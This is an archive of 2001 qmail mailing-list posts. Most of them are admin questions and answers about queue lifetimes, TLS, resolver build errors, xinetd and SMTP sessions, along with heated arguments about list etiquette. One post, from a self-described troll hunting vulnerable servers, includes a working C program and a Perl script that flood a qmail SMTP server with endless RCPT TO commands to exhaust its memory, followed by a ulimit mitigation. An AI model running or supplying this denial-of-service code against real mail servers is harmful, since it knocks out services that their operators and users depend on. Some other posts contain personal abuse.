Re: Reducing Time-Out for Unresolved Hosts

[Charles Cazabon]

Security User <[EMAIL PROTECTED]> wrote:
> 
> By default I noticed that qmail waits 7 days before sending an error message
> back to a user indicating that a message was undeliverable in the case where
> a user miskeys the domain portion of the e-mail address to a domain with a
> non-existant MX record.

This particular typo shouldn't cause the message to sit in the queue for
that long in most cases; qmail will see there's no MX record and attempt
delivery to the A record.  To remain in the queue, the SMTP port would
have to be firewalled off on that machine.

However, we know what you mean.
 
> I created a queuelifetime file in the /qmail/control/ directory and
> decreased that timeout to 86,400 seconds or one-day by just putting "86400"
> in the queuelifetime file.  
> 
> Is this the correct procedure?

Yes, although you have to restart qmail for this change to take effect.

> Also will this override the default value of attempting to deliver a
> message for 7 days?

This is exactly what queuelifetime means.

> My ultimate goal is really to just have a warning message passed back
> to a user in under a day, so a user can check to see if he/she made a
> typo when composing the e-mail.  But I still wouldn't mind qmail
> attempting the delivery for around 4 days in case the other parties'
> DNS/Mail server is down.

You're talking about delivery status notifications; qmail doesn't do
them itself, but there's at least two implementations to go with qmail
(one by Bruce Guenter, and another called qmail_bounce).  You can find
them at qmail.org.  You would then want to set queuelifetime to 4 days'
worth of seconds, and configure your delivery status notification system
to send warnings at appropriate times (the defaults are normally quite
sane).

Charles
-- 
---
Charles Cazabon<[EMAIL PROTECTED]>
GPL'ed software available at:  http://www.qcc.sk.ca/~charlesc/software/
---

Re: Qmail, sooo easy to exploit

[Charles Cazabon]

Steve Wozniak <[EMAIL PROTECTED]> wrote:

[...]

Please don't feed the troll.

Charles
-- 
---
Charles Cazabon<[EMAIL PROTECTED]>
GPL'ed software available at:  http://www.qcc.sk.ca/~charlesc/software/
---

Re: Robin Socha, this is a plea.

[Brett Randall]

> "Jeff" == Jeff Palmer <[EMAIL PROTECTED]> writes:

> Granted,  a lot of the emails to this list could be handled if the person
> would just read the FAQ. But the simple truth is,  it's not going to
> happen.  Human nature is against you here.

Semi-true. When I first started on this group, I asked questions that
were answered in the FAQs. I got short, sharp, and often rude,
answers. But I got over it and learnt... Read the docco, follow the
rules, and it'll be sweet. If more people that were abused learnt from
the abuse instead of taking it to heart, then the world would be a
better place... (well, this list would, anyway...)
-- 
Microsoft's slogan *should* read:
"Where do you want to go today? It doesn't matter, you're coming
with us."

dns.o errors persist

[Proc Meminfo]

Greg, I do have resolv.h in /usr/include
and I still get the same errors.

I also tried copying it from another
machine, and still nothing.  Any other

ideas, anyone?



Thank you in advance - Proc


_
Free email with personality! Over 200 domains!
http://www.MyOwnEmail.com

Qmail, sooo easy to exploit

[Steve Wozniak]

I'm a little Troll, I'm looking for some servers to exploit. I look through this list 
to find the vulnerable qmail servers; you know, newbies that give out tooo much info 
because the list regulars like Frank Tegtmeyer beat up on newbies and pressure them to 
give out way too much info.

Any of you guys ever see "your company's computer guy" on SNL? That is some funny 
shit. Well you guys know who you are.

here is some code to try ya'll, once you get the info you need.


 /*
  * qmail-dos-2 - run a qmail system out of swap space by feeding an infinite
  * amount of recipients.
  *
  * Usage: qmail-dos-2 fully-qualified-hostname
  *
  * Author: Wietse Venema. The author is not responsible for abuse of this
  * program. Use at your own risk.
  */
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

voidfatal(char *fmt,...)
{
va_list ap;

va_start(ap, fmt);
vfprintf(stderr, fmt, ap);
va_end(ap);
putc('\n', stderr);
exit(1);
}

chat(FILE * fp, char *fmt,...)
{
charbuf[BUFSIZ];
va_list ap;

fseek(fp, 0L, SEEK_SET);
va_start(ap, fmt);
vfprintf(fp, fmt, ap);
va_end(ap);
fputs("\r\n", fp);
if (fflush(fp))
fatal("connection lost");
fseek(fp, 0L, SEEK_SET);
if (fgets(buf, sizeof(buf), fp) == 0)
fatal("connection lost");
if (atoi(buf) / 100 != 2)
fatal("%s", buf);
}

int main(int argc, char **argv)
{
struct sockaddr_in sin;
struct hostent *hp;
charbuf[BUFSIZ];
int sock;
FILE   *fp;

if (argc != 2)
fatal("usage: %s host", argv[0]);
if ((hp = gethostbyname(argv[1])) == 0)
fatal("host %s not found", argv[1]);
memset((char *) &sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
memcpy((char *) &sin.sin_addr, hp->h_addr, sizeof(sin.sin_addr));
sin.sin_port = htons(25);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
fatal("socket: %s", strerror(errno));
if (connect(sock, (struct sockaddr *) & sin, sizeof(sin)) < 0)
fatal("connect to %s: %s", argv[1], strerror(errno));
if ((fp = fdopen(sock, "r+")) == 0)
fatal("fdopen: %s", strerror(errno));
if (fgets(buf, sizeof(buf), fp) == 0)
fatal("connection lost");
chat(fp, "mail from:", fp);
for (;;)
chat(fp, "rcpt to:", argv[1]);
}


/*
-- qmail.pl --
#!/usr/local/bin/perl -w
# $Id: qmail.pl,v 1.4 1997/06/12 02:12:42 super Exp $
require 5.002;
use strict;
use Socket;
if(!($ARGV[0])){print("usage: $0 FQDN","\n");exit;}
my $port = 25; my $proto = getprotobyname("tcp");
my $iaddr = inet_aton($ARGV[0]) || die "No such host: $ARGV[0]";
my $paddr = sockaddr_in($port, $iaddr);
socket(SKT, AF_INET, SOCK_STREAM, $proto) || die "socket() $!";
connect(SKT, $paddr) && print("Connected established.\n") || die "connect() $!";
send(SKT,"mail from: \n",0) || die "send() $!";
my $infstr = "rcpt to: \n"; print("Attacking..","\n");
while(){
send(SKT,$infstr,0) || die "send() $!";
}
die "Connection lost!";
-- qmail.pl --
*/




/* Here is the Patch for qmail -
 
If you are using tcpserver it should be sufficient to set the ulimit
once in the startup script.  All instances of qmail-smtpd inherit the
limit without further overhead.  Seems to be working fine here.

   echo "Starting tcpserver for qmail-smtpd..."
   ulimit -d 2048
   /usr/local/bin/tcpserver -v -u 61 -g 61 0 smtp /usr/local/bin/tcpcontrol \
   /etc/tcp.smtp.cdb /var/qmail/bin/qmail-smtpd 2>&1 | \
   /var/qmail/bin/splogger smtpd 3 &


*/

Re: TLS implementation.

[MarkD]

On Wed, Aug 01, 2001 at 06:34:53PM -0400, McHugh, Sean allegedly wrote:
> However, after thinking about it.  I send and recieve over 75000 messages a
> day.
> I do not want to use TLS indiscriminately for every SMTP host.  I have only
> a few places to send to where mail _needs_ to be encrypted. so how do
> _selectively_ tell qmail to use
> tls for certain hosts and not others ? and how do i tell qmail to use normal
> SMTP for everyone, but force TLS for certain smtp servers sending in ?  MMDF
> has this functionality.

Remember, this is a patch to qmail, not part of qmail proper. I don't
believe the patch has the capability you ask for. Have you considered
contacting the author of the patch? If they can't help you, and this
is important to you, then you may have to use MMDF.


Regards.

PS. I'm on the list so I don't need a separate copy of this email.

> 
> sean
> 
> -Original Message-
> From: MarkD [mailto:[EMAIL PROTECTED]]
> Sent: Tuesday, July 31, 2001 4:38 PM
> To: '[EMAIL PROTECTED]'
> Subject: Re: TLS implementation.
> 
> 
> TLS negotiated after the connection is established (basically they
> send STARTTLS and take note of the response code). You should not need
> to configure anything. What makes you think you need to do this?
> 
> 
> Regards.
> 
> 
> On Tue, Jul 31, 2001 at 04:24:53PM -0400, McHugh, Sean allegedly wrote:
> > We almost have qmail with TLS.patch working on Solaris 8 (x86).  Server
> > allows starttls
> > command and patch installed fine.  We are a little stuck at the point
> where
> > we specify 
> > what host we want qmail-remote to invoke TLS for and what hosts we want
> > qmail-smtpd to force to
> > use TLS in sending to us.  The patch documentation is not clear on how
> this
> > is done.  Can anyone
> > give me clue ?  Is there a HOW-TO:Qmail/TLS for dummies like us ?
> > 
> > sean

Re: Robin Socha, this is a plea.

[Kris Kelley]

I normally don't participate in such discussions, but...

Jeff Palmer wrote:
>Granted,  a lot of the emails to this list could be handled if the person
>would just read the FAQ. But the simple truth is... [h]uman nature is not
> digging through tons of documentation to find a
>'simple' answer.

FAQ != "tons of documentation"

Plus, this is what search engines are for.

>Face reality.  You are looking for an idealistic world.   You need to see
>that we live in THIS world,  and not many people are going to conform to
>your ideals...  Follow your mothers advice.

You mean when she said "Stand up for what you believe in"?

---Kris Kelley

Re: custom RBLSMTPD message... (was: Sublist (Was: Virus...)

[Peter van Dijk]

On Wed, Aug 01, 2001 at 11:00:08AM -0400, Roger Merchberger wrote:
[snip]
> >perl -ne 'chomp(); print "$_:allow,RBLSMTPD=/-yuck fou./\n";'
> 
>  ;-)
> 
> I'd *love* to use that as my default text, but methinks I'll have to be a
> bit more diplomatic.

It *is* the subtle version. I stole it from a t-shirt :)

> >Filter file through tool. Add sugar or milk according to taste. Enjoy.
> 
> I'm writing a perl script to take my Eudora mbox spam file and extract all
> of the IP addresses to put in my tcp.smtp automagically, where i was
> planning on adding that line... but if someone with an open relay closes
> it, they won't be able to contact me to let me know they fixed their MUA.

Their loss :)

> But in other words, "live with it." No problem.
> 
> Hey - here's an idea: Can you set an arbitrary environment variable (like
> DATESET="whatever"), and will qmail ignore it? That way, I could have my

I fail to see the purpose of setting a variable that qmail purposely
ignores :P

> proggie note when the entry was listed, and I can remove entries not
> associated with a netblock, say, over 1 or 2 months old automatically...

Just a bit more magic in the perl tool :)

Greetz, Peter
-- 
Against Free Sex!   http://www.dataloss.nl/Megahard_en.html

Re: dns.o compilation errors

[Greg White]

On Wed, Aug 01, 2001 at 04:14:16PM -0500, Proc Meminfo wrote:
> Hey, I am receiving the following errors while doing 'make setup check':
> 
> dns.o: In function 'resolve':
> dns.o(.text+0xf8): undefined reference to '__dn_expand'
> dns.o: In function 'findname':
> dns.o(.text+0x1bc): undefined reference to '__dn_expand'
> dns.o(.text+0x24c): undefined reference to '__dn_expand'
> dns.o: In function 'findip':
> dns.o(.text+0x2ae): undefined reference to '__dn_expand'
> dns.o: In function 'findmx':
> dns.o(.text+0x3ac): undefined reference to '__dn_expand'
> dns.o(.text+0x45a): more undefined references to '__dn_expand' follow
> dns.o: In function 'dns_init':
> dns.o(.text+0x4a3): undefined reference to '__res_search'
> dns.o(.data+0xc): undefined reference to '__res_query'
> collect2: ld returned 1 exit status
> make: *** [qmail-remote] Error 1

qmail appears to be attempting to link again your local resolver library
and not being able to find it. Do you have /usr/include/resolv.h? 
This isn't really a qmail issue -- just install the resolver library and
all should be well.

GW

RE: TLS implementation.

[McHugh, Sean]

However, after thinking about it.  I send and recieve over 75000 messages a
day.
I do not want to use TLS indiscriminately for every SMTP host.  I have only
a few places to send to where mail _needs_ to be encrypted. so how do
_selectively_ tell qmail to use
tls for certain hosts and not others ? and how do i tell qmail to use normal
SMTP for everyone, but force TLS for certain smtp servers sending in ?  MMDF
has this functionality.

sean

-Original Message-
From: MarkD [mailto:[EMAIL PROTECTED]]
Sent: Tuesday, July 31, 2001 4:38 PM
To: '[EMAIL PROTECTED]'
Subject: Re: TLS implementation.


TLS negotiated after the connection is established (basically they
send STARTTLS and take note of the response code). You should not need
to configure anything. What makes you think you need to do this?


Regards.


On Tue, Jul 31, 2001 at 04:24:53PM -0400, McHugh, Sean allegedly wrote:
> We almost have qmail with TLS.patch working on Solaris 8 (x86).  Server
> allows starttls
> command and patch installed fine.  We are a little stuck at the point
where
> we specify 
> what host we want qmail-remote to invoke TLS for and what hosts we want
> qmail-smtpd to force to
> use TLS in sending to us.  The patch documentation is not clear on how
this
> is done.  Can anyone
> give me clue ?  Is there a HOW-TO:Qmail/TLS for dummies like us ?
> 
> sean

Reducing Time-Out for Unresolved Hosts

[Security User]

Title: Reducing Time-Out for Unresolved Hosts





I've been lurking for about a week now - and I have a fairly simple question, that maybe someone can help me with.


By default I noticed that qmail waits 7 days before sending an error message back to a user indicating that a message was undeliverable in the case where a user miskeys the domain portion of the e-mail address to a domain with a non-existant MX record.

I created a queuelifetime file in the /qmail/control/ directory and decreased that timeout to 86,400 seconds or one-day by just putting "86400" in the queuelifetime file.  

Is this the correct procedure?  Also will this override the default value of attempting to deliver a message for 7 days?  My ultimate goal is really to just have a warning message passed back to a user in under a day, so a user can check to see if he/she made a typo when composing the e-mail.  But I still wouldn't mind qmail attempting the delivery for around 4 days in case the other parties' DNS/Mail server is down.

Thanks for any help!


Amit Kalra
Information Security Officer
Bondbook, LLC
Office: (212) 406-6370
Pager: (718) 304-5164
 <> 







This message is intended only for the personal and confidential use of the designated recipient (s) named above. If you are not the intended recipient of this message you are hereby notified that any dissemination, distribution or copying of this message is strictly prohibited. 



 Kalra, Amit.vcf

Re: qmail on AFS

[Greg White]

On Wed, Aug 01, 2001 at 05:17:46PM -0400, Rudy Zung wrote:
> [Don't remember if I've already posted this; sorry if it's a repeat.]
> 
> Trying to run qmail with Maildir on a Slackware with AFS. The AFS is
> installed and runs properly. Users' home volumes and Maildir are on AFS. 
> Qmail is generating temporary delivery errors; the mail never gets delivered.

Seeing the temporary delivery errors would likely be helpful here.
"What Do the Logs Say?"

GW

qmail on AFS

[Rudy Zung]

[Don't remember if I've already posted this; sorry if it's a repeat.]

Trying to run qmail with Maildir on a Slackware with AFS. The AFS is
installed and runs properly. Users' home volumes and Maildir are on AFS. 
Qmail is generating temporary delivery errors; the mail never gets delivered.

I've searched the archives but haven't found a solution, just tantalizing
hints that other people have done this type of install also.

I've even tried "fs setacl" on the Maildir, the cur and tmp directories to be
"system:anyuser rlidwka", but still no success.

So, what's the magic configuration that allows qmail to work before go off
and start writing cron jobs that automate the AFS/kerberos tokens renewal?


-- 

...Ru   (a low-cost superhero)
   On, on! Blue skies. Think snow.
   1740484I 998300172 076662 82968/A17215 045124P E286/184435
   975-203608 11859 DS1160 

Re: mystery failure notice

[Rudy Zung]

On Wed, Aug 01, 2001 at 10:34:27AM -0500, Virginia Chism wrote:
> I received a failure notice concerning an email I did not send.  I am
> attempting to track down how this happened and have hit a wall.  When I do
> 'tail -f /var/log/maillog' I get current activity.  If I do 'more
> /var/log/maillog' it goes all the way back to day one and I don't have time
> to slog through FOUR YEARS of maillog when what I need was a couple of days
> ago.  Is there any way to select a certain number of items to view in this
> log?


   tail -200 /var/log/maillog

will get you the last 200 lines in the file. I usually do it as

   tail -200 /var/log/maillog | more

and adjust the tail number-of-lines argument to get me to the date range
that I want.

-- 

...Ru   (a low-cost superhero)
   On, on! Blue skies. Think snow.
   1740484I 998300172 076662 82968/A17215 045124P E286/184435
   975-203608 11859 DS1160 

RE: Selective Relaying/tcprules check SOLVED!

[Lukas Beeler]

At 16:20 01.08.2001 -0500, Scott Zielsdorf wrote:
>LOL! I love abuse!

i not

>I gave myself root, my box. I'm a SCO guy or was. First linux I've ever
>logged into. Three days ago. Not by choice. So...

if it is your box, why did you install an OS you don't like ?

>I don't care if XINET sucks - which from what I read else where that is
>debatable (XINET replaces INET)

and daemontools/tcpserver fully replace xinetD and inetD

>- and I don't care that Robin lifted his leg
>and pissed on me, it was all worth it.

thats good so.. he makes that by everybody.. i would wonder if he would'nt 
try to piss on djb ;)

>Now I can go back to tending my other
>hardware and not have to do this linux email job!

why did you start to do something you don't like ?

>And, I likely quoted Robin wrong.

you can't do anything right, if robin decides otherwise

>  Don't care either. Using my own words
>against me...hey...I'm on top of the world at the moment.

what did you smoke ? ;)

>  It may change
>tomorrow but tomorrow's a whole 'nother day.

it's just an advise to use daemontols instead of *inetd



-- 
--/-/-- Lukas Beeler  [EMAIL PROTECTED] ---\-\--
   \ \  My HomePage: http://www.projectdream.org>  / /

RE: Selective Relaying/tcprules check SOLVED!

[Scott Zielsdorf]

LOL! I love abuse!

I gave myself root, my box. I'm a SCO guy or was. First linux I've ever
logged into. Three days ago. Not by choice. So...
I don't care if XINET sucks - which from what I read else where that is
debatable (XINET replaces INET) - and I don't care that Robin lifted his leg
and pissed on me, it was all worth it. Now I can go back to tending my other
hardware and not have to do this linux email job!

And, I likely quoted Robin wrong. Don't care either. Using my own words
against me...hey...I'm on top of the world at the moment. It may change
tomorrow but tomorrow's a whole 'nother day.

Thanks again.

> -Original Message-
> From: Robin S. Socha [mailto:[EMAIL PROTECTED]]
> Sent: Wednesday, August 01, 2001 4:05 PM
> To: Qmail List
> Subject: Re: Selective Relaying/tcprules check SOLVED!
>
>
> On Wed, Aug 01, 2001 at 03:58:01PM -0500, Scott Zielsdorf wrote:
> > I am STUPID.
> > xinetd.d/smtp config file:
> > I rebooted and now selective relaying is working like a champ.
> > Senior Technical Support Consultant
>
> Taking this four lines together, the first line makes a lot of
> sense... Who on earth gave you root? Hint: man kill
>

dns.o compilation errors

[Proc Meminfo]

Hey, I am receiving the following errors while doing 'make setup check':

dns.o: In function 'resolve':
dns.o(.text+0xf8): undefined reference to '__dn_expand'
dns.o: In function 'findname':
dns.o(.text+0x1bc): undefined reference to '__dn_expand'
dns.o(.text+0x24c): undefined reference to '__dn_expand'
dns.o: In function 'findip':
dns.o(.text+0x2ae): undefined reference to '__dn_expand'
dns.o: In function 'findmx':
dns.o(.text+0x3ac): undefined reference to '__dn_expand'
dns.o(.text+0x45a): more undefined references to '__dn_expand' follow
dns.o: In function 'dns_init':
dns.o(.text+0x4a3): undefined reference to '__res_search'
dns.o(.data+0xc): undefined reference to '__res_query'
collect2: ld returned 1 exit status
make: *** [qmail-remote] Error 1


I am running RedHat 7.1, have tried everything i could find on the mailing
list archive, have tried updating to gcc-3.0, downgrading to gcc-2.95 and
reinstalling RedHat 7.1.

It is quit odd because it has worked on 7.1 before, and on this machine
before, however, I have reinstalled several times, and all I can get it
this.  

Does anybody know how to correct this problem?





_
Free email with personality! Over 200 domains!
http://www.MyOwnEmail.com

Re: Selective Relaying/tcprules check SOLVED!

[Robin S. Socha]

On Wed, Aug 01, 2001 at 03:58:01PM -0500, Scott Zielsdorf wrote:
> I am STUPID.
> xinetd.d/smtp config file:
> I rebooted and now selective relaying is working like a champ.
> Senior Technical Support Consultant

Taking this four lines together, the first line makes a lot of
sense... Who on earth gave you root? Hint: man kill

Re: Selective Relaying/tcprules check SOLVED!

[Lukas Beeler]

At 15:58 01.08.2001 -0500, Scott Zielsdorf wrote:
>I am STUPID.

nope. inetd / xinetd is stupid

>I did not know and consequently did not mention that my qmail
>was running on my Redhat 7 running xinetd and NOT inetd.

inetd sucks

>  xinetd is, as far
>as I can find, not covered in the LWQ or 1.03 Install procedure.

yes
and why ? because it suxx. Use daemontools instead, you would have MUCH 
less problems. convert your existing inetd services to daemontools, iam 
sure you will be confident with the result.


-- 
--/-/-- Lukas Beeler  [EMAIL PROTECTED] ---\-\--
   \ \  My HomePage: http://www.projectdream.org>  / /

Selective Relaying/tcprules check SOLVED!

[Scott Zielsdorf]

All,

I am STUPID. I did not know and consequently did not mention that my qmail
was running on my Redhat 7 running xinetd and NOT inetd. xinetd is, as far
as I can find, not covered in the LWQ or 1.03 Install procedure. I installed
tcpserver as LWQ said I should but the xinetd.d/smtp config file was in
charge and it was NOT calling tcpserver but using itself which meant that
tcp.smtp.cdb was not being invoked.

Found this on a web page, I forget where, but it has saved my butt. Thanks
to the guy who posted this:

xinetd.d/smtp config file:

{
   flags   = NAMEINARGS
   socket_type = stream
   wait= no
   user= qmaild
   server  = /usr/sbin/tcpd
   server_args = /var/qmail/bin/tcp-env
/var/qmail/bin/qmail-smtpd
   disable = no

}

I rebooted and now selective relaying is working like a champ.

Thanks for all the responses and suggestions to my stupid problem, it has
been quite a learning experience.

Scott Zielsdorf
Senior Technical Support Consultant
Computer Instruments IVR Solutions Support Group
Voice: 913.492.1888 x8862 Fax: 913.492.1483

anger management courses

[Robin S. Socha]

On Wed, Aug 01, 2001 at 04:10:13PM -0400, Jeff Palmer wrote:
> 
> Can anyone say 'anger management course'?

Anger mangama... Angre mgnma

Nope.

> Good lord man,

Call me Robin.

> Lighten up.  You were a newbie at some point,  as was EVERYONE else.
> Nobody was born an SMTP god. Nor a unix god for that matter.

I am a newbie. I know basically fsck all about qmail or anything else.
I pale in comparison to all the Good People(tm) who've helped me here.
Russ, Dave, Charles, Sam, Ken, Peter... and many more. Why did they
help me? Because:

> Granted,  a lot of the emails to this list could be handled if the person
> would just read the FAQ. But the simple truth is,  it's not going to
> happen.  

Well... it happened to me. And the remaining braindamage was cured by
the abovementioned d00d3s and many others. Because I did read the FAQ,
and I did post meaningful error messages. That's the one difference
that made all the difference. What do we learn from this? You can be
an asshole, but people will help you with a technical problem if you
play by their rules.

> P.S.  I did indeed read the message about not CC'ing you..

Did I ever express my eternal gratefulness to Jason for adding
killfile capabilities to tmda? THANK YOU, JASON! reply-to set.
-- 
Robin S. Socha - Your Worst Network Nightmare(tm).
`In Germany, they are not referred to as network administrators. They
prefer to be called "Sons Of The Third Reich".' (Kate: www.katewerk.com)

RE: Robin Socha, this is a plea.

[Bill Andersen]

Jeff,

  You are wasting your time.  Robin is just gonna hit you with
  his BS now...  Don't take me wrong, I AGREE with YOU.  But
  I went down that road with Robin and it didn't do any good.
  And it never will.  I don't think he had a mother and it's
  obvious his father beat him regularly... hence the anger.

  Now we'll see if he replies to this.  He shouldn't, since I
  use Outlook and he's already said he filters out all Outlook
  mail from this list.  If he replies, we'll know he lying
  there too...

./bill

> -Original Message-
> From: Jeff Palmer [mailto:[EMAIL PROTECTED]]
> Sent: Wednesday, August 01, 2001 3:10 PM
> To: [EMAIL PROTECTED]
> Cc: Robin S. Socha
> Subject: Robin Socha, this is a plea.
> 
> 
> 
> Can anyone say 'anger management course'?
> 



> Jeff Palmer
> [EMAIL PROTECTED]
> 
> 
> P.S.  I did indeed read the message about not CC'ing you..
> 
> 

qmail-remote hanging on DNS query?

[FarPoint Technologies]

I've hit an odd problem with qmail-remote.

With one of our ISP's DNS servers set as primary, qmail-remote will hang 
indefinitely on some addresses.  The DNS server in question responds fine 
to dig queries.

Example:
First DNS server in resolv.conf  is 205.152.0.20
Run the following command:  (testfile contains a email message)
cat testfile | /var/qmail/bin/qmail-remote mindspring.com 
[EMAIL PROTECTED] [EMAIL PROTECTED]

qmail-remote will hang forever.  If I change the primary DNS server to 
another one then everything works fine.

An strace of qmail-remote shows:
connect(3, {sin_family=AF_INET, sin_port=htons(53), 
sin_addr=inet_addr("205.152.0.20")}}, 16) = 0
send(3, "\250t\1\0\0\1\0\0\0\0\0\0\nmindspring\3com\0\0\377\0\1"..., 32, 0) 
= 32
time(NULL)  = 996696004
poll([{fd=3, events=POLLIN, revents=POLLIN}], 1, 5000) = 1
recvfrom(3, "\250t\203\200\0\1\0\25\0\0\0\0\nmindspring\3com\0\0\377"..., 
513, 0, {sin_family=AF_INET, sin_port=htons(53), 
sin_addr=inet_addr("205.152.0.20")}}, [16]) = 503
close(3)= 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sin_family=AF_INET, sin_port=htons(53), 
sin_addr=inet_addr("205.152.0.20")}}, 16) = 0
writev(3, [{"\0 ", 2}, 
{"\250t\1\0\0\1\0\0\0\0\0\0\nmindspring\3com\0\0\377\0\1"..., 32}], 2) = 34
read(3,

and dies there.

I wouldn't expect a DNS server to be able to kill qmail-remote.  Make it 
exit with an error, sure.
Our setup is qmail-1.03 on a Linux server.  The DNS patch has been applied.

Any thoughts appreciated...

--Brian
--
FarPoint 
Technologies
Phones:
Tech Supt. - 919-460-1887   
Sales - 
800-645-5913Main - 919-460-4551
FTP - 
ftp.fpoint.com  /fpoint.com
WEB - www.fpoint.com
Sales email: 
[EMAIL PROTECTED]
Technical support: 
[EMAIL PROTECTED]
---

Robin Socha, this is a plea.

[Jeff Palmer]

Can anyone say 'anger management course'?

Good lord man,

You don't have to get so disrespectful and nasty just because someone does
not read,sleep,eat, and breathe a particular RFC or protocal.

Lighten up.  You were a newbie at some point,  as was EVERYONE else.
Nobody was born an SMTP god. Nor a unix god for that matter.

I won't butt heads,  nor argue with you.   We are both much too
intelligent for that.  I have noticed however that there is a LOT of
disrespect,  and "hate" on this list since I subscribed. And a lot of it
has to do with the simple fact that you (not just Robin, this is directed
at quite a few of you!) seem to forget that you had to learn SMTP like
everyone else.

Granted,  a lot of the emails to this list could be handled if the person
would just read the FAQ. But the simple truth is,  it's not going to
happen.  Human nature is against you here.  Ask any behavioral scientist.
Human nature is not digging through tons of documentation to find a
'simple' answer.  Humans are lazy.   Human nature is  "I'll ask this
question on a list,  then go back the next day,  and get the answer"
simply because it's easier than reading the docs.

Face reality.  You are looking for an idealistic world.   You need to see
that we live in THIS world,  and not many people are going to conform to
your ideals.

So,  in closing.  Follow your mothers advice.  If you don't have anything
nice to say,  don't say anything at all?

You offer good advice to the members on this list,  I do not deny or
dispute that.

I enclose the following snip,  please Robin (and others),   take a moment
and re-read it.  I'm trying to appeal to your intelligent side,  not your
hot-headed (and possibly a little egotistical?) side.


> MUA is Mail User Agent. The crap you're sending your messages with is
> an MUA. Got it? And if no appropriate help is available for Outlook,
> complain to the wankers in Redmond who *SOLD* you this shit. This is a
> technical list for a Unix MTA, ok?
>
> Oh yeah... Apart from the fact that I don't speak Portuñol (or even
> intend to learn it), this is crap, too:


Kind regards,


Jeff Palmer
[EMAIL PROTECTED]


P.S.  I did indeed read the message about not CC'ing you..

RE: CNAME lookup failure (strange problem)

[Willy De la Court]

On Wednesday, August 01, 2001 20:19, Tom Beer [SMTP:[EMAIL PROTECTED]] 
wrote:
> > in a bounce message i got this
> >
> > <[EMAIL PROTECTED]>:
> > CNAME lookup failed temporarily. (#4.4.3)
>
to clarify
<[EMAIL PROTECTED]>:
CNAME lookup failed temporarily. (#4.4.3)
I'm not going to try again; this message has been in the queue too long.

>
> This is a DNS related problem. The lookup for the
> cannonical name quint.be is temporarily broken
> (BIND + dialup connection?)
Ok it's an adsl connection that reconnects after 10 mins if the connection 
is broken. it would be strange that every time qmail tried to send the 
message the connection would be down.

>
> But it's only temporary and qmail tries again (#4.4.3)
>   
Sure for one week or the default queue time i got 2 msgs like that and in 
between the time the msg was submitted and the time the bounce arrived i 
got several msgs from the same machine to the same account.
By my knowledge the dns has not been down either.
>
> Tom

Willy De la Court
Quint NV NS

Re: RES: Message without Subject and From!!!

[Robin S. Socha]

On Wed, Aug 01, 2001 at 04:15:55PM -0300, Daniel Abad wrote:
> Charles Cazabon [mailto:[EMAIL PROTECTED]]
> > Daniel Abad <[EMAIL PROTECTED]> wrote:

Look, dude, I reformatted your message to give it a minimum amount of
meaning. Do not ever *think* about hitting reply before you've fully
read and understood http://learn.to/edit_messages/

> > > When a send a message to my virtual user, I check it from telnet
> > > and it's without subject and from!! What should I do?? 

> > Compose your message differently.  The "From:" and "Subject:"
> > fields in the message header are completely optional.

> Ok, I telnet at 25 and compose a message, with mail from: , rcpt to:
> anda data (.) . 

Yeah. So? What does the message look like in its original form then?

> > This isn't a qmail issue.  See the documentation for your MUA for
> > further details.

> When I received this from my Outlook or Webmail, the message is
> empty! Only the time appears! 

MUA is Mail User Agent. The crap you're sending your messages with is
an MUA. Got it? And if no appropriate help is available for Outlook,
complain to the wankers in Redmond who *SOLD* you this shit. This is a
technical list for a Unix MTA, ok?

Oh yeah... Apart from the fact that I don't speak Portuñol (or even
intend to learn it), this is crap, too:

MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain; charset="iso-8859-1"
-- 
Robin S. Socha - Do not send me Cc:s. Ever.

Re: RES: Message without Subject and From!!!

[Greg White]

On Wed, Aug 01, 2001 at 04:15:55PM -0300, Daniel Abad wrote:
> Ok, I telnet at 25 and compose a message, with mail from: , rcpt to: anda
> data (.) . 
> 
> When I received this from my Outlook or Webmail, the message is empty! Only
> the time appears! 
> 
> Tks.
> 
> Daniel

Please learn to speak SMTP -- you're not sending any To or From headers,
just envelope-from and envelope-to. A proper conversation reads a little
like this, for your side of it:

HELO example.com
MAIL FROM:<[EMAIL PROTECTED]>
RCPT TO:<[EMAIL PROTECTED]>
DATA
From: Joe Blow <[EMAIL PROTECTED]>
To: Jim Blow <[EMAIL PROTECTED]>
Subject: Testing my SMTP

This is a test.

.



That will do what you're expecting.

GW

Re: RES: Message without Subject and From!!!

[Henning Brauer]

On Wed, Aug 01, 2001 at 04:15:55PM -0300, Daniel Abad wrote:
> Ok, I telnet at 25 and compose a message, with mail from: , rcpt to: anda
> data (.) .  
> When I received this from my Outlook or Webmail, the message is empty! Only
> the time appears! 

http://www.ietf.org/rfc/rfc2821.txt
http://www.ietf.org/rfc/rfc2822.txt

really.

If you don't have From:, To:, Subject: and Date: Headers between 
DATA
and
.
no MUA will show them.

A senseful telnet session to an MTA looks like

telnet [mtaip] 25
<220 [mtahost] ESMTP
>EHLO [hostname]
<250 [host]
<250 [multiple feature lines]
>MAIL FROM: [envelope sender]
<250 ok
>RCPT TO: [recipient]
<250 ok
>DATA
<354 go ahead
From: Name 
To: Name 
Subject: a senseful subject
Date: a correct datestring

The text appearing in the body
.

<250 ok [ts] qp [inode]
>QUIT

-- 
* Henning Brauer, [EMAIL PROTECTED], http://www.bsws.de *
* Roedingsmarkt 14, 20459 Hamburg, Germany   *
Unix is very simple, but it takes a genius to understand the simplicity.
(Dennis Ritchie)

RES: Message without Subject and From!!!

[Daniel Abad]

Ok, I telnet at 25 and compose a message, with mail from: , rcpt to: anda
data (.) . 

When I received this from my Outlook or Webmail, the message is empty! Only
the time appears! 

Tks.

Daniel

-Mensagem original-
De: Charles Cazabon [mailto:[EMAIL PROTECTED]]
Enviada em: Quarta-feira, 1 de Agosto de 2001 11:35
Para: [EMAIL PROTECTED]
Assunto: Re: Message without Subject and From!!!


Daniel Abad <[EMAIL PROTECTED]> wrote:
> 
> When a send a message to my virtual user, I check it from telnet and it's
> without subject and from!! What should I do?? 

Compose your message differently.  The "From:" and "Subject:" fields in
the message header are completely optional.

This isn't a qmail issue.  See the documentation for your MUA for
further details.

Charles
-- 
---
Charles Cazabon<[EMAIL PROTECTED]>
GPL'ed software available at:  http://www.qcc.sk.ca/~charlesc/software/
---

Re: Selective Relaying and tcprulescheck

[Philipp Steinkrüger]

Scott Zielsdorf writes:

> Thanks Philipp and Charles for the help on this. 
> 
